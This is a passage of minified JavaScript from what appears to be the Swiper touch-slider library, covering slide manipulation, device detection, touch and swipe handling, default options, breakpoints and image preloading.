i=this.$wrapperEl,s=this.params,a=this.activeIndex;s.loop&&(a-=this.loopedSlides,this.loopDestroy(),this.slides=i.children("."+s.slideClass));var r=this.slides.length;if(e<=0)this.prependSlide(t);else if(e>=r)this.appendSlide(t);else{for(var n=a>e?a+1:a,l=[],d=r-1;d>=e;d-=1){var h=this.slides.eq(d);h.remove(),l.unshift(h)}if("object"==typeof t&&"length"in t){for(var p=0;p<t.length;p+=1)t[p]&&i.append(t[p]);n=a>e?a+t.length:a}else i.append(t);for(var c=0;c<l.length;c+=1)i.append(l[c]);s.loop&&this.loopCreate(),s.observer&&o.observer||this.update(),s.loop?this.slideTo(n+this.loopedSlides,0,!1):this.slideTo(n,0,!1)}},removeSlide:function(e){var t=this.params,i=this.$wrapperEl,s=this.activeIndex;t.loop&&(s-=this.loopedSlides,this.loopDestroy(),this.slides=i.children("."+t.slideClass));var a,r=s;if("object"==typeof e&&"length"in e){for(var n=0;n<e.length;n+=1)a=e[n],this.slides[a]&&this.slides.eq(a).remove(),a<r&&(r-=1);r=Math.max(r,0)}else a=e,this.slides[a]&&this.slides.eq(a).remove(),a<r&&(r-=1),r=Math.max(r,0);t.loop&&this.loopCreate(),t.observer&&o.observer||this.update(),t.loop?this.slideTo(r+this.loopedSlides,0,!1):this.slideTo(r,0,!1)},removeAllSlides:function(){for(var e=[],t=0;t<this.slides.length;t+=1)e.push(t);this.removeSlide(e)}},I=(m=t.navigator.platform,g=t.navigator.userAgent,b={ios:!1,android:!1,androidChrome:!1,desktop:!1,iphone:!1,ipod:!1,ipad:!1,edge:!1,ie:!1,firefox:!1,macos:!1,windows:!1,cordova:!(!t.cordova&&!t.phonegap),phonegap:!(!t.cordova&&!t.phonegap),electron:!1},w=t.screen.width,y=t.screen.height,x=g.match(/(Android);?[\s\/]+([\d.]+)?/),T=g.match(/(iPad).*OS\s([\d_]+)/),E=g.match(/(iPod)(.*OS\s([\d_]+))?/),S=!T&&g.match(/(iPhone\sOS|iOS)\s([\d_]+)/),C=g.indexOf("MSIE ")>=0||g.indexOf("Trident/")>=0,M=g.indexOf("Edge/")>=0,P=g.indexOf("Gecko/")>=0&&g.indexOf("Firefox/")>=0,z="Win32"===m,k=g.toLowerCase().indexOf("electron")>=0,$="MacIntel"===m,!T&&$&&o.touch&&(1024===w&&1366===y||834===w&&1194===y||834===w&&1112===y||768===w&&1024===y)&&(T=g.match(/(Version)\/([\d.]+)/),$=!1),b.ie=C,b.edge=M,b.firefox=P,x&&!z&&(b.os="android",b.osVersion=x[2],b.android=!0,b.androidChrome=g.toLowerCase().indexOf("chrome")>=0),(T||S||E)&&(b.os="ios",b.ios=!0),S&&!E&&(b.osVersion=S[2].replace(/_/g,"."),b.iphone=!0),T&&(b.osVersion=T[2].replace(/_/g,"."),b.ipad=!0),E&&(b.osVersion=E[3]?E[3].replace(/_/g,"."):null,b.ipod=!0),b.ios&&b.osVersion&&g.indexOf("Version/")>=0&&"10"===b.osVersion.split(".")[0]&&(b.osVersion=g.toLowerCase().split("version/")[1].split(" ")[0]),b.webView=!(!(S||T||E)||!g.match(/.*AppleWebKit(?!.*Safari)/i)&&!t.navigator.standalone)||t.matchMedia&&t.matchMedia("(display-mode: standalone)").matches,b.webview=b.webView,b.standalone=b.webView,b.desktop=!(b.ios||b.android)||k,b.desktop&&(b.electron=k,b.macos=$,b.windows=z,b.macos&&(b.os="macos"),b.windows&&(b.os="windows")),b.pixelRatio=t.devicePixelRatio||1,b);function D(i){var a=this.touchEventsData,r=this.params,o=this.touches;if(!this.animating||!r.preventInteractionOnTransition){var l=i;l.originalEvent&&(l=l.originalEvent);var d=s(l.target);if(("wrapper"!==r.touchEventsTarget||d.closest(this.wrapperEl).length)&&(a.isTouchEvent="touchstart"===l.type,(a.isTouchEvent||!("which"in l)||3!==l.which)&&!(!a.isTouchEvent&&"button"in l&&l.button>0||a.isTouched&&a.isMoved)))if(r.noSwiping&&d.closest(r.noSwipingSelector?r.noSwipingSelector:"."+r.noSwipingClass)[0])this.allowClick=!0;else if(!r.swipeHandler||d.closest(r.swipeHandler)[0]){o.currentX="touchstart"===l.type?l.targetTouches[0].pageX:l.pageX,o.currentY="touchstart"===l.type?l.targetTouches[0].pageY:l.pageY;var h=o.currentX,p=o.currentY,c=r.edgeSwipeDetection||r.iOSEdgeSwipeDetection,u=r.edgeSwipeThreshold||r.iOSEdgeSwipeThreshold;if(!c||!(h<=u||h>=t.screen.width-u)){if(n.extend(a,{isTouched:!0,isMoved:!1,allowTouchCallbacks:!0,isScrolling:void 0,startMoving:void 0}),o.startX=h,o.startY=p,a.touchStartTime=n.now(),this.allowClick=!0,this.updateSize(),this.swipeDirection=void 0,r.threshold>0&&(a.allowThresholdMove=!1),"touchstart"!==l.type){var v=!0;d.is(a.formElements)&&(v=!1),e.activeElement&&s(e.activeElement).is(a.formElements)&&e.activeElement!==d[0]&&e.activeElement.blur();var f=v&&this.allowTouchMove&&r.touchStartPreventDefault;(r.touchStartForcePreventDefault||f)&&l.preventDefault()}this.emit("touchStart",l)}}}}function O(t){var i=this.touchEventsData,a=this.params,r=this.touches,o=this.rtlTranslate,l=t;if(l.originalEvent&&(l=l.originalEvent),i.isTouched){if(!i.isTouchEvent||"mousemove"!==l.type){var d="touchmove"===l.type&&l.targetTouches&&(l.targetTouches[0]||l.changedTouches[0]),h="touchmove"===l.type?d.pageX:l.pageX,p="touchmove"===l.type?d.pageY:l.pageY;if(l.preventedByNestedSwiper)return r.startX=h,void(r.startY=p);if(!this.allowTouchMove)return this.allowClick=!1,void(i.isTouched&&(n.extend(r,{startX:h,startY:p,currentX:h,currentY:p}),i.touchStartTime=n.now()));if(i.isTouchEvent&&a.touchReleaseOnEdges&&!a.loop)if(this.isVertical()){if(p<r.startY&&this.translate<=this.maxTranslate()||p>r.startY&&this.translate>=this.minTranslate())return i.isTouched=!1,void(i.isMoved=!1)}else if(h<r.startX&&this.translate<=this.maxTranslate()||h>r.startX&&this.translate>=this.minTranslate())return;if(i.isTouchEvent&&e.activeElement&&l.target===e.activeElement&&s(l.target).is(i.formElements))return i.isMoved=!0,void(this.allowClick=!1);if(i.allowTouchCallbacks&&this.emit("touchMove",l),!(l.targetTouches&&l.targetTouches.length>1)){r.currentX=h,r.currentY=p;var c=r.currentX-r.startX,u=r.currentY-r.startY;if(!(this.params.threshold&&Math.sqrt(Math.pow(c,2)+Math.pow(u,2))<this.params.threshold)){var v;if(void 0===i.isScrolling)this.isHorizontal()&&r.currentY===r.startY||this.isVertical()&&r.currentX===r.startX?i.isScrolling=!1:c*c+u*u>=25&&(v=180*Math.atan2(Math.abs(u),Math.abs(c))/Math.PI,i.isScrolling=this.isHorizontal()?v>a.touchAngle:90-v>a.touchAngle);if(i.isScrolling&&this.emit("touchMoveOpposite",l),void 0===i.startMoving&&(r.currentX===r.startX&&r.currentY===r.startY||(i.startMoving=!0)),i.isScrolling)i.isTouched=!1;else if(i.startMoving){this.allowClick=!1,a.cssMode||l.preventDefault(),a.touchMoveStopPropagation&&!a.nested&&l.stopPropagation(),i.isMoved||(a.loop&&this.loopFix(),i.startTranslate=this.getTranslate(),this.setTransition(0),this.animating&&this.$wrapperEl.trigger("webkitTransitionEnd transitionend"),i.allowMomentumBounce=!1,!a.grabCursor||!0!==this.allowSlideNext&&!0!==this.allowSlidePrev||this.setGrabCursor(!0),this.emit("sliderFirstMove",l)),this.emit("sliderMove",l),i.isMoved=!0;var f=this.isHorizontal()?c:u;r.diff=f,f*=a.touchRatio,o&&(f=-f),this.swipeDirection=f>0?"prev":"next",i.currentTranslate=f+i.startTranslate;var m=!0,g=a.resistanceRatio;if(a.touchReleaseOnEdges&&(g=0),f>0&&i.currentTranslate>this.minTranslate()?(m=!1,a.resistance&&(i.currentTranslate=this.minTranslate()-1+Math.pow(-this.minTranslate()+i.startTranslate+f,g))):f<0&&i.currentTranslate<this.maxTranslate()&&(m=!1,a.resistance&&(i.currentTranslate=this.maxTranslate()+1-Math.pow(this.maxTranslate()-i.startTranslate-f,g))),m&&(l.preventedByNestedSwiper=!0),!this.allowSlideNext&&"next"===this.swipeDirection&&i.currentTranslate<i.startTranslate&&(i.currentTranslate=i.startTranslate),!this.allowSlidePrev&&"prev"===this.swipeDirection&&i.currentTranslate>i.startTranslate&&(i.currentTranslate=i.startTranslate),a.threshold>0){if(!(Math.abs(f)>a.threshold||i.allowThresholdMove))return void(i.currentTranslate=i.startTranslate);if(!i.allowThresholdMove)return i.allowThresholdMove=!0,r.startX=r.currentX,r.startY=r.currentY,i.currentTranslate=i.startTranslate,void(r.diff=this.isHorizontal()?r.currentX-r.startX:r.currentY-r.startY)}a.followFinger&&!a.cssMode&&((a.freeMode||a.watchSlidesProgress||a.watchSlidesVisibility)&&(this.updateActiveIndex(),this.updateSlidesClasses()),a.freeMode&&(0===i.velocities.length&&i.velocities.push({position:r[this.isHorizontal()?"startX":"startY"],time:i.touchStartTime}),i.velocities.push({position:r[this.isHorizontal()?"currentX":"currentY"],time:n.now()})),this.updateProgress(i.currentTranslate),this.setTranslate(i.currentTranslate))}}}}}else i.startMoving&&i.isScrolling&&this.emit("touchMoveOpposite",l)}function A(e){var t=this,i=t.touchEventsData,s=t.params,a=t.touches,r=t.rtlTranslate,o=t.$wrapperEl,l=t.slidesGrid,d=t.snapGrid,h=e;if(h.originalEvent&&(h=h.originalEvent),i.allowTouchCallbacks&&t.emit("touchEnd",h),i.allowTouchCallbacks=!1,!i.isTouched)return i.isMoved&&s.grabCursor&&t.setGrabCursor(!1),i.isMoved=!1,void(i.startMoving=!1);s.grabCursor&&i.isMoved&&i.isTouched&&(!0===t.allowSlideNext||!0===t.allowSlidePrev)&&t.setGrabCursor(!1);var p,c=n.now(),u=c-i.touchStartTime;if(t.allowClick&&(t.updateClickedSlide(h),t.emit("tap click",h),u<300&&c-i.lastClickTime<300&&t.emit("doubleTap doubleClick",h)),i.lastClickTime=n.now(),n.nextTick((function(){t.destroyed||(t.allowClick=!0)})),!i.isTouched||!i.isMoved||!t.swipeDirection||0===a.diff||i.currentTranslate===i.startTranslate)return i.isTouched=!1,i.isMoved=!1,void(i.startMoving=!1);if(i.isTouched=!1,i.isMoved=!1,i.startMoving=!1,p=s.followFinger?r?t.translate:-t.translate:-i.currentTranslate,!s.cssMode)if(s.freeMode){if(p<-t.minTranslate())return void t.slideTo(t.activeIndex);if(p>-t.maxTranslate())return void(t.slides.length<d.length?t.slideTo(d.length-1):t.slideTo(t.slides.length-1));if(s.freeModeMomentum){if(i.velocities.length>1){var v=i.velocities.pop(),f=i.velocities.pop(),m=v.position-f.position,g=v.time-f.time;t.velocity=m/g,t.velocity/=2,Math.abs(t.velocity)<s.freeModeMinimumVelocity&&(t.velocity=0),(g>150||n.now()-v.time>300)&&(t.velocity=0)}else t.velocity=0;t.velocity*=s.freeModeMomentumVelocityRatio,i.velocities.length=0;var b=1e3*s.freeModeMomentumRatio,w=t.velocity*b,y=t.translate+w;r&&(y=-y);var x,T,E=!1,S=20*Math.abs(t.velocity)*s.freeModeMomentumBounceRatio;if(y<t.maxTranslate())s.freeModeMomentumBounce?(y+t.maxTranslate()<-S&&(y=t.maxTranslate()-S),x=t.maxTranslate(),E=!0,i.allowMomentumBounce=!0):y=t.maxTranslate(),s.loop&&s.centeredSlides&&(T=!0);else if(y>t.minTranslate())s.freeModeMomentumBounce?(y-t.minTranslate()>S&&(y=t.minTranslate()+S),x=t.minTranslate(),E=!0,i.allowMomentumBounce=!0):y=t.minTranslate(),s.loop&&s.centeredSlides&&(T=!0);else if(s.freeModeSticky){for(var C,M=0;M<d.length;M+=1)if(d[M]>-y){C=M;break}y=-(y=Math.abs(d[C]-y)<Math.abs(d[C-1]-y)||"next"===t.swipeDirection?d[C]:d[C-1])}if(T&&t.once("transitionEnd",(function(){t.loopFix()})),0!==t.velocity){if(b=r?Math.abs((-y-t.translate)/t.velocity):Math.abs((y-t.translate)/t.velocity),s.freeModeSticky){var P=Math.abs((r?-y:y)-t.translate),z=t.slidesSizesGrid[t.activeIndex];b=P<z?s.speed:P<2*z?1.5*s.speed:2.5*s.speed}}else if(s.freeModeSticky)return void t.slideToClosest();s.freeModeMomentumBounce&&E?(t.updateProgress(x),t.setTransition(b),t.setTranslate(y),t.transitionStart(!0,t.swipeDirection),t.animating=!0,o.transitionEnd((function(){t&&!t.destroyed&&i.allowMomentumBounce&&(t.emit("momentumBounce"),t.setTransition(s.speed),setTimeout((function(){t.setTranslate(x),o.transitionEnd((function(){t&&!t.destroyed&&t.transitionEnd()}))}),0))}))):t.velocity?(t.updateProgress(y),t.setTransition(b),t.setTranslate(y),t.transitionStart(!0,t.swipeDirection),t.animating||(t.animating=!0,o.transitionEnd((function(){t&&!t.destroyed&&t.transitionEnd()})))):t.updateProgress(y),t.updateActiveIndex(),t.updateSlidesClasses()}else if(s.freeModeSticky)return void t.slideToClosest();(!s.freeModeMomentum||u>=s.longSwipesMs)&&(t.updateProgress(),t.updateActiveIndex(),t.updateSlidesClasses())}else{for(var k=0,$=t.slidesSizesGrid[0],L=0;L<l.length;L+=L<s.slidesPerGroupSkip?1:s.slidesPerGroup){var I=L<s.slidesPerGroupSkip-1?1:s.slidesPerGroup;void 0!==l[L+I]?p>=l[L]&&p<l[L+I]&&(k=L,$=l[L+I]-l[L]):p>=l[L]&&(k=L,$=l[l.length-1]-l[l.length-2])}var D=(p-l[k])/$,O=k<s.slidesPerGroupSkip-1?1:s.slidesPerGroup;if(u>s.longSwipesMs){if(!s.longSwipes)return void t.slideTo(t.activeIndex);"next"===t.swipeDirection&&(D>=s.longSwipesRatio?t.slideTo(k+O):t.slideTo(k)),"prev"===t.swipeDirection&&(D>1-s.longSwipesRatio?t.slideTo(k+O):t.slideTo(k))}else{if(!s.shortSwipes)return void t.slideTo(t.activeIndex);t.navigation&&(h.target===t.navigation.nextEl||h.target===t.navigation.prevEl)?h.target===t.navigation.nextEl?t.slideTo(k+O):t.slideTo(k):("next"===t.swipeDirection&&t.slideTo(k+O),"prev"===t.swipeDirection&&t.slideTo(k))}}}function G(){var e=this.params,t=this.el;if(!t||0!==t.offsetWidth){e.breakpoints&&this.setBreakpoint();var i=this.allowSlideNext,s=this.allowSlidePrev,a=this.snapGrid;this.allowSlideNext=!0,this.allowSlidePrev=!0,this.updateSize(),this.updateSlides(),this.updateSlidesClasses(),("auto"===e.slidesPerView||e.slidesPerView>1)&&this.isEnd&&!this.params.centeredSlides?this.slideTo(this.slides.length-1,0,!1,!0):this.slideTo(this.activeIndex,0,!1,!0),this.autoplay&&this.autoplay.running&&this.autoplay.paused&&this.autoplay.run(),this.allowSlidePrev=s,this.allowSlideNext=i,this.params.watchOverflow&&a!==this.snapGrid&&this.checkOverflow()}}function H(e){this.allowClick||(this.params.preventClicks&&e.preventDefault(),this.params.preventClicksPropagation&&this.animating&&(e.stopPropagation(),e.stopImmediatePropagation()))}function B(){var e=this.wrapperEl,t=this.rtlTranslate;this.previousTranslate=this.translate,this.isHorizontal()?this.translate=t?e.scrollWidth-e.offsetWidth-e.scrollLeft:-e.scrollLeft:this.translate=-e.scrollTop,-0===this.translate&&(this.translate=0),this.updateActiveIndex(),this.updateSlidesClasses();var i=this.maxTranslate()-this.minTranslate();(0===i?0:(this.translate-this.minTranslate())/i)!==this.progress&&this.updateProgress(t?-this.translate:this.translate),this.emit("setTranslate",this.translate,!1)}var N=!1;function X(){}var V={init:!0,direction:"horizontal",touchEventsTarget:"container",initialSlide:0,speed:300,cssMode:!1,updateOnWindowResize:!0,preventInteractionOnTransition:!1,edgeSwipeDetection:!1,edgeSwipeThreshold:20,freeMode:!1,freeModeMomentum:!0,freeModeMomentumRatio:1,freeModeMomentumBounce:!0,freeModeMomentumBounceRatio:1,freeModeMomentumVelocityRatio:1,freeModeSticky:!1,freeModeMinimumVelocity:.02,autoHeight:!1,setWrapperSize:!1,virtualTranslate:!1,effect:"slide",breakpoints:void 0,spaceBetween:0,slidesPerView:1,slidesPerColumn:1,slidesPerColumnFill:"column",slidesPerGroup:1,slidesPerGroupSkip:0,centeredSlides:!1,centeredSlidesBounds:!1,slidesOffsetBefore:0,slidesOffsetAfter:0,normalizeSlideIndex:!0,centerInsufficientSlides:!1,watchOverflow:!1,roundLengths:!1,touchRatio:1,touchAngle:45,simulateTouch:!0,shortSwipes:!0,longSwipes:!0,longSwipesRatio:.5,longSwipesMs:300,followFinger:!0,allowTouchMove:!0,threshold:0,touchMoveStopPropagation:!1,touchStartPreventDefault:!0,touchStartForcePreventDefault:!1,touchReleaseOnEdges:!1,uniqueNavElements:!0,resistance:!0,resistanceRatio:.85,watchSlidesProgress:!1,watchSlidesVisibility:!1,grabCursor:!1,preventClicks:!0,preventClicksPropagation:!0,slideToClickedSlide:!1,preloadImages:!0,updateOnImagesReady:!0,loop:!1,loopAdditionalSlides:0,loopedSlides:null,loopFillGroupWithBlank:!1,allowSlidePrev:!0,allowSlideNext:!0,swipeHandler:null,noSwiping:!0,noSwipingClass:"swiper-no-swiping",noSwipingSelector:null,passiveListeners:!0,containerModifierClass:"swiper-container-",slideClass:"swiper-slide",slideBlankClass:"swiper-slide-invisible-blank",slideActiveClass:"swiper-slide-active",slideDuplicateActiveClass:"swiper-slide-duplicate-active",slideVisibleClass:"swiper-slide-visible",slideDuplicateClass:"swiper-slide-duplicate",slideNextClass:"swiper-slide-next",slideDuplicateNextClass:"swiper-slide-duplicate-next",slidePrevClass:"swiper-slide-prev",slideDuplicatePrevClass:"swiper-slide-duplicate-prev",wrapperClass:"swiper-wrapper",runCallbacksOnInit:!0},Y={update:h,translate:p,transition:c,slide:u,loop:v,grabCursor:f,manipulation:L,events:{attachEvents:function(){var t=this.params,i=this.touchEvents,s=this.el,a=this.wrapperEl;this.onTouchStart=D.bind(this),this.onTouchMove=O.bind(this),this.onTouchEnd=A.bind(this),t.cssMode&&(this.onScroll=B.bind(this)),this.onClick=H.bind(this);var r=!!t.nested;if(!o.touch&&o.pointerEvents)s.addEventListener(i.start,this.onTouchStart,!1),e.addEventListener(i.move,this.onTouchMove,r),e.addEventListener(i.end,this.onTouchEnd,!1);else{if(o.touch){var n=!("touchstart"!==i.start||!o.passiveListener||!t.passiveListeners)&&{passive:!0,capture:!1};s.addEventListener(i.start,this.onTouchStart,n),s.addEventListener(i.move,this.onTouchMove,o.passiveListener?{passive:!1,capture:r}:r),s.addEventListener(i.end,this.onTouchEnd,n),i.cancel&&s.addEventListener(i.cancel,this.onTouchEnd,n),N||(e.addEventListener("touchstart",X),N=!0)}(t.simulateTouch&&!I.ios&&!I.android||t.simulateTouch&&!o.touch&&I.ios)&&(s.addEventListener("mousedown",this.onTouchStart,!1),e.addEventListener("mousemove",this.onTouchMove,r),e.addEventListener("mouseup",this.onTouchEnd,!1))}(t.preventClicks||t.preventClicksPropagation)&&s.addEventListener("click",this.onClick,!0),t.cssMode&&a.addEventListener("scroll",this.onScroll),t.updateOnWindowResize?this.on(I.ios||I.android?"resize orientationchange observerUpdate":"resize observerUpdate",G,!0):this.on("observerUpdate",G,!0)},detachEvents:function(){var t=this.params,i=this.touchEvents,s=this.el,a=this.wrapperEl,r=!!t.nested;if(!o.touch&&o.pointerEvents)s.removeEventListener(i.start,this.onTouchStart,!1),e.removeEventListener(i.move,this.onTouchMove,r),e.removeEventListener(i.end,this.onTouchEnd,!1);else{if(o.touch){var n=!("onTouchStart"!==i.start||!o.passiveListener||!t.passiveListeners)&&{passive:!0,capture:!1};s.removeEventListener(i.start,this.onTouchStart,n),s.removeEventListener(i.move,this.onTouchMove,r),s.removeEventListener(i.end,this.onTouchEnd,n),i.cancel&&s.removeEventListener(i.cancel,this.onTouchEnd,n)}(t.simulateTouch&&!I.ios&&!I.android||t.simulateTouch&&!o.touch&&I.ios)&&(s.removeEventListener("mousedown",this.onTouchStart,!1),e.removeEventListener("mousemove",this.onTouchMove,r),e.removeEventListener("mouseup",this.onTouchEnd,!1))}(t.preventClicks||t.preventClicksPropagation)&&s.removeEventListener("click",this.onClick,!0),t.cssMode&&a.removeEventListener("scroll",this.onScroll),this.off(I.ios||I.android?"resize orientationchange observerUpdate":"resize observerUpdate",G)}},breakpoints:{setBreakpoint:function(){var e=this.activeIndex,t=this.initialized,i=this.loopedSlides;void 0===i&&(i=0);var s=this.params,a=this.$el,r=s.breakpoints;if(r&&(!r||0!==Object.keys(r).length)){var o=this.getBreakpoint(r);if(o&&this.currentBreakpoint!==o){var l=o in r?r[o]:void 0;l&&["slidesPerView","spaceBetween","slidesPerGroup","slidesPerGroupSkip","slidesPerColumn"].forEach((function(e){var t=l[e];void 0!==t&&(l[e]="slidesPerView"!==e||"AUTO"!==t&&"auto"!==t?"slidesPerView"===e?parseFloat(t):parseInt(t,10):"auto")}));var d=l||this.originalParams,h=s.slidesPerColumn>1,p=d.slidesPerColumn>1;h&&!p?a.removeClass(s.containerModifierClass+"multirow "+s.containerModifierClass+"multirow-column"):!h&&p&&(a.addClass(s.containerModifierClass+"multirow"),"column"===d.slidesPerColumnFill&&a.addClass(s.containerModifierClass+"multirow-column"));var c=d.direction&&d.direction!==s.direction,u=s.loop&&(d.slidesPerView!==s.slidesPerView||c);c&&t&&this.changeDirection(),n.extend(this.params,d),n.extend(this,{allowTouchMove:this.params.allowTouchMove,allowSlideNext:this.params.allowSlideNext,allowSlidePrev:this.params.allowSlidePrev}),this.currentBreakpoint=o,u&&t&&(this.loopDestroy(),this.loopCreate(),this.updateSlides(),this.slideTo(e-i+this.loopedSlides,0,!1)),this.emit("breakpoint",d)}}},getBreakpoint:function(e){if(e){var i=!1,s=Object.keys(e).map((function(e){if("string"==typeof e&&0===e.indexOf("@")){var i=parseFloat(e.substr(1));return{value:t.innerHeight*i,point:e}}return{value:e,point:e}}));s.sort((function(e,t){return parseInt(e.value,10)-parseInt(t.value,10)}));for(var a=0;a<s.length;a+=1){var r=s[a],n=r.point;r.value<=t.innerWidth&&(i=n)}return i||"max"}}},checkOverflow:{checkOverflow:function(){var e=this.params,t=this.isLocked,i=this.slides.length>0&&e.slidesOffsetBefore+e.spaceBetween*(this.slides.length-1)+this.slides[0].offsetWidth*this.slides.length;e.slidesOffsetBefore&&e.slidesOffsetAfter&&i?this.isLocked=i<=this.size:this.isLocked=1===this.snapGrid.length,this.allowSlideNext=!this.isLocked,this.allowSlidePrev=!this.isLocked,t!==this.isLocked&&this.emit(this.isLocked?"lock":"unlock"),t&&t!==this.isLocked&&(this.isEnd=!1,this.navigation.update())}},classes:{addClasses:function(){var e=this.classNames,t=this.params,i=this.rtl,s=this.$el,a=[];a.push("initialized"),a.push(t.direction),t.freeMode&&a.push("free-mode"),t.autoHeight&&a.push("autoheight"),i&&a.push("rtl"),t.slidesPerColumn>1&&(a.push("multirow"),"column"===t.slidesPerColumnFill&&a.push("multirow-column")),I.android&&a.push("android"),I.ios&&a.push("ios"),t.cssMode&&a.push("css-mode"),a.forEach((function(i){e.push(t.containerModifierClass+i)})),s.addClass(e.join(" "))},removeClasses:function(){var e=this.$el,t=this.classNames;e.removeClass(t.join(" "))}},images:{loadImage:function(e,i,s,a,r,n){var o;function l(){n&&n()}e.complete&&r?l():i?((o=new t.Image).onload=l,o.onerror=l,a&&(o.sizes=a),s&&(o.srcset=s),i&&(o.src=i)):l()},preloadImages:function(){var e=this;function t(){null!=e&&e&&!e.destroyed&&(void 0!==e.imagesLoaded&&(e.imagesLoaded+=1),e.imagesLoaded===e.imagesToLoad.length&&(e.params.updateOnImagesReady&&e.update(),e.emit("imagesReady")))}e.imagesToLoad=e.$el.find("img");for(var i=0;i<e.imagesToLoad.length;i+=1){var s=e.imagesToLoad[i];e.loadImage(s,s.currentSrc||s.getAttribute("src"),s.srcset||s.getAttribute("srcset"),s.sizes||s.getAttribute("sizes"),!0,t)}}}},F={},W=function(e){function t(){for(var i,a,r,l=[],d=arguments.length;d--;)l[d]=arguments[d];1===l.length&&l[0].constructor&&l[0].constructor===Object?r=l[0]:(a=(i=l)[0],r=i[1]),r||(r={}),r=n.extend({},r),a&&!r.el&&(r.el=a),e.call(this,r),Object.keys(Y).forEach((function(e){Object.keys(Y[e]).forEach((function(i){t.prototype[i]||(t.prototype[i]=Y[e][i])}))}));var h=this;void 0===h.modules&&(h.modules={}),Object.keys(h.modules).forEach((function(e){var t=h.modules[e];if(t.params){var i=Object.keys(t.params)[0],s=t.params[i];if("object"!=typeof s||null===s)return;if(!(i in r)||!("enabled"in s))return;!0===r[i]&&(r[i]={enabled:!0}),"object"!=typeof r[i]||"enabled"in r[i]||(r[i].enabled=!0),r[i]||(r[i]={enabled:!1})}}));var p=n.extend({},V);h.useModulesParams(p),h.params=n.extend({},p,F,r),h.originalParams=n.extend({},h.params),h.passedParams=n.extend({},r),h.$=s;var c=s(h.params.el);if(a=c[0]){if(c.length>1){var u=[];return c.each((function(e,i){var s=n.extend({},r,{el:i});u.push(new t(s))})),u}var v,f,m;return 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0,isMoved:void 0,allowTouchCallbacks:void 0,touchStartTime:void 0,isScrolling:void 0,currentTranslate:void 0,startTranslate:void 0,allowThresholdMove:void 0,formElements:"input, select, option, textarea, button, video, label",lastClickTime:n.now(),clickTimeout:void 0,velocities:[],allowMomentumBounce:void 0,isTouchEvent:void 0,startMoving:void 0},allowClick:!0,allowTouchMove:h.params.allowTouchMove,touches:{startX:0,startY:0,currentX:0,currentY:0,diff:0},imagesToLoad:[],imagesLoaded:0}),h.useModules(),h.params.init&&h.init(),h}}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var i={extendedDefaults:{configurable:!0},defaults:{configurable:!0},Class:{configurable:!0},$:{configurable:!0}};return t.prototype.slidesPerViewDynamic=function(){var e=this.params,t=this.slides,i=this.slidesGrid,s=this.size,a=this.activeIndex,r=1;if(e.centeredSlides){for(var n,o=t[a].swiperSlideSize,l=a+1;l<t.length;l+=1)t[l]&&!n&&(r+=1,(o+=t[l].swiperSlideSize)>s&&(n=!0));for(var d=a-1;d>=0;d-=1)t[d]&&!n&&(r+=1,(o+=t[d].swiperSlideSize)>s&&(n=!0))}else for(var h=a+1;h<t.length;h+=1)i[h]-i[a]<s&&(r+=1);return r},t.prototype.update=function(){var e=this;if(e&&!e.destroyed){var t=e.snapGrid,i=e.params;i.breakpoints&&e.setBreakpoint(),e.updateSize(),e.updateSlides(),e.updateProgress(),e.updateSlidesClasses(),e.params.freeMode?(s(),e.params.autoHeight&&e.updateAutoHeight()):(("auto"===e.params.slidesPerView||e.params.slidesPerView>1)&&e.isEnd&&!e.params.centeredSlides?e.slideTo(e.slides.length-1,0,!1,!0):e.slideTo(e.activeIndex,0,!1,!0))||s(),i.watchOverflow&&t!==e.snapGrid&&e.checkOverflow(),e.emit("update")}function s(){var t=e.rtlTranslate?-1*e.translate:e.translate,i=Math.min(Math.max(t,e.maxTranslate()),e.minTranslate());e.setTranslate(i),e.updateActiveIndex(),e.updateSlidesClasses()}},t.prototype.changeDirection=function(e,t){void 0===t&&(t=!0);var i=this.params.direction;return e||(e="horizontal"===i?"vertical":"horizontal"),e===i||"horizontal"!==e&&"vertical"!==e||(this.$el.removeClass(""+this.params.containerModifierClass+i).addClass(""+this.params.containerModifierClass+e),this.params.direction=e,this.slides.each((function(t,i){"vertical"===e?i.style.width="":i.style.height=""})),this.emit("changeDirection"),t&&this.update()),this},t.prototype.init=function(){this.initialized||(this.emit("beforeInit"),this.params.breakpoints&&this.setBreakpoint(),this.addClasses(),this.params.loop&&this.loopCreate(),this.updateSize(),this.updateSlides(),this.params.watchOverflow&&this.checkOverflow(),this.params.grabCursor&&this.setGrabCursor(),this.params.preloadImages&&this.preloadImages(),this.params.loop?this.slideTo(this.params.initialSlide+this.loopedSlides,0,this.params.runCallbacksOnInit):this.slideTo(this.params.initialSlide,0,this.params.runCallbacksOnInit),this.attachEvents(),this.initialized=!0,this.emit("init"))},t.prototype.destroy=function(e,t){void 0===e&&(e=!0),void 0===t&&(t=!0);var i=this,s=i.params,a=i.$el,r=i.$wrapperEl,o=i.slides;return void 0===i.params||i.destroyed||(i.emit("beforeDestroy"),i.initialized=!1,i.detachEvents(),s.loop&&i.loopDestroy(),t&&(i.removeClasses(),a.removeAttr("style"),r.removeAttr("style"),o&&o.length&&o.removeClass([s.slideVisibleClass,s.slideActiveClass,s.slideNextClass,s.slidePrevClass].join(" ")).removeAttr("style").removeAttr("data-swiper-slide-index")),i.emit("destroy"),Object.keys(i.eventsListeners).forEach((function(e){i.off(e)})),!1!==e&&(i.$el[0].swiper=null,i.$el.data("swiper",null),n.deleteProps(i)),i.destroyed=!0),null},t.extendDefaults=function(e){n.extend(F,e)},i.extendedDefaults.get=function(){return F},i.defaults.get=function(){return V},i.Class.get=function(){return e},i.$.get=function(){return s},Object.defineProperties(t,i),t}(l),R={name:"device",proto:{device:I},static:{device:I}},q={name:"support",proto:{support:o},static:{support:o}},j={isEdge:!!t.navigator.userAgent.match(/Edge/g),isSafari:function(){var e=t.navigator.userAgent.toLowerCase();return e.indexOf("safari")>=0&&e.indexOf("chrome")<0&&e.indexOf("android")<0}(),isUiWebView:/(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/i.test(t.navigator.userAgent)},K={name:"browser",proto:{browser:j},static:{browser:j}},U={name:"resize",create:function(){var 